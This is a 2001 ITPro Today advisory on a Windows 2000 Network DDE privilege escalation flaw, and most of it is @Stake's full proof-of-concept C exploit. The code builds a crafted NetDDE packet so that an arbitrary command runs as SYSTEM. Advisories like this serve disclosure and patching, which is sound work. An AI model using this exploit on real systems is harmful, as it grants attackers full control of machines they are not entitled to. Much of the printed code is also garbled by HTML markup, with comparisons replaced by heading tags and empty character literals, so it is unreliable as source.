Privilege Escalation Vulnerability in Windows 2000

The Network DDE Service can provide a gateway for a user to escalate his privleges.

Steve Manzuik

February 4, 2001

2 Min Read
ITPro Today logo in a gray background | ITPro Today

Reported January 31, 2001, by @Stake.

VERSIONS AFFECTED

  • Windows 2000

DESCRIPTION

A privilege escalation vulnerability has been discovered in Windows 2000. A malicious user can launch commands in the SYSTEM context by exploiting the process that starts the Network DDE Service.

DEMONSTRATION

@Stake provided the following proof-of-concept code:

---------------------------------------------------------------------

// Copyright 2001 @Stake, Inc. All rights reserved.

#include
#include
#include

void NDDEError(UINT err)
{
char error[256];
NDdeGetErrorString(err,error,256);
MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
exit(err);
}

void *BuildNetDDEPacket(const char *svShareName, const char *svCmdLine, int *pBufLen)
{
// Build NetDDE message
int cmdlinelen=strlen(svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
char *funky=(char *)malloc(funkylen);
if(funky<p></p><h1>NULL) {<br>MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);<br>return NULL;<br>}<br><br>funky[0x00]=(char)0xE1;&nbsp;<br>funky[0x01]=(char)0xDD;<br>funky[0x02]=(char)0xE1;<br>funky[0x03]=(char)0xDD;// 0xDDE1DDE1 (magic number)<br><br>funky[0x04]=(char)0x01;<br>funky[0x05]=(char)0x00;<br>funky[0x06]=(char)0x00;<br>funky[0x07]=(char)0x00; // 0x00000001 (?)<br><br>funky[0x08]=(char)0x01;<br>funky[0x09]=(char)0x00;<br>funky[0x0A]=(char)0x00;<br>funky[0x0B]=(char)0x00; // 0x00000001 (?)<br><br>funky[0x0C]=(char)0x05; // ShareModId<br>funky[0x0D]=(char)0x00;<br>funky[0x0E]=(char)0x00;<br>funky[0x0F]=(char)0x09;<br>funky[0x10]=(char)0x00;<br>funky[0x11]=(char)0x00;<br>funky[0x12]=(char)0x00;<br>funky[0x13]=(char)0x01;<br><br>funky[0x14]=(char)0xCC;// unused (?)<br>funky[0x15]=(char)0xCC;<br>funky[0x16]=(char)0xCC;<br>funky[0x17]=(char)0xCC;<br><br>memcpy(funky+0x18,svShareName,strlen(svShareName)+1);// Share name<br>memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1);// Command line to execute<br><br>*pBufLen=funkylen;<br>return funky;<br>}<br><br>int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)<br>{<br>// Check command line<br>int cmdlinelen;<br>if(lpCmdLine</h1>NULL || lpCmdLine[0]<h1>'') {<br>MessageBox(NULL,"Syntax is: netddmsg [-s sharename] <command line=""></command>","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);<br>return -1;<br>}<br>cmdlinelen=strlen(lpCmdLine);<br><br>char *szShare=NULL;<br>char *szCmdLine=lpCmdLine;<br>if(strncmp(lpCmdLine,"-s",2)</h1>0) {
szShare=lpCmdLine+2;
while ((*szShare)<h1>' ')<br>szShare++;<br>char *szEnd=strchr(szShare,' ');<br>if(szEnd</h1>NULL) {
MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
szCmdLine=szEnd+1;
*szEnd='';
}

// Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
if(hwnd<h1>NULL) {<br>MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);<br>return -1;<br>}<br><br>// Get computer name<br>DWORD dwSize=256;<br>char svCompName[256];<br>GetComputerName(svCompName,&amp;dwSize);<br><br>// Get list of shares to try<br>char *sharename,*sharenames;<br>if(szShare</h1>NULL) {
// Try all shares
UINT err;
DWORD dwNumShares;
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
NDDEError(err);
}
sharenames=(char *)malloc(dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE) sharenames,dwSize,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR) {
NDDEError(err);
}
} else {
// Try command line share
sharenames=(char *)malloc(strlen(szShare)+2);
memset(sharenames,'0',strlen(szShare)+2);
strcpy(sharenames,szShare);
}

// Try all shares
for(sharename=sharenames;(*sharename)!='';sharename+=(strlen(sharename)+1)) {

// Ask user
if(szShare<h1>NULL) {<br>char svPrompt[256];<br>_snprintf(svPrompt,256,"Try command through the '%s' share?",sharename);<br>if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)</h1>IDNO)
continue;
}

// Get NetDDE packet
void *funky;
int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
if(funky==NULL)
return -1;

// Perform CopyData
COPYDATASTRUCT cds;
cds.cbData=funkylen;
cds.dwData=0;
cds.lpData=(PVOID)funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);

// Free memory
free(funky);

}

// Free memory
free(sharenames);

return 0;
}

VENDOR RESPONSE

Microsoft has released a security bulletin, MS01-007.

CREDIT
Discovered by @Stake.

Sign up for the ITPro Today newsletter
Stay on top of the IT universe with commentary, news analysis, how-to's, and tips delivered to your inbox daily.

You May Also Like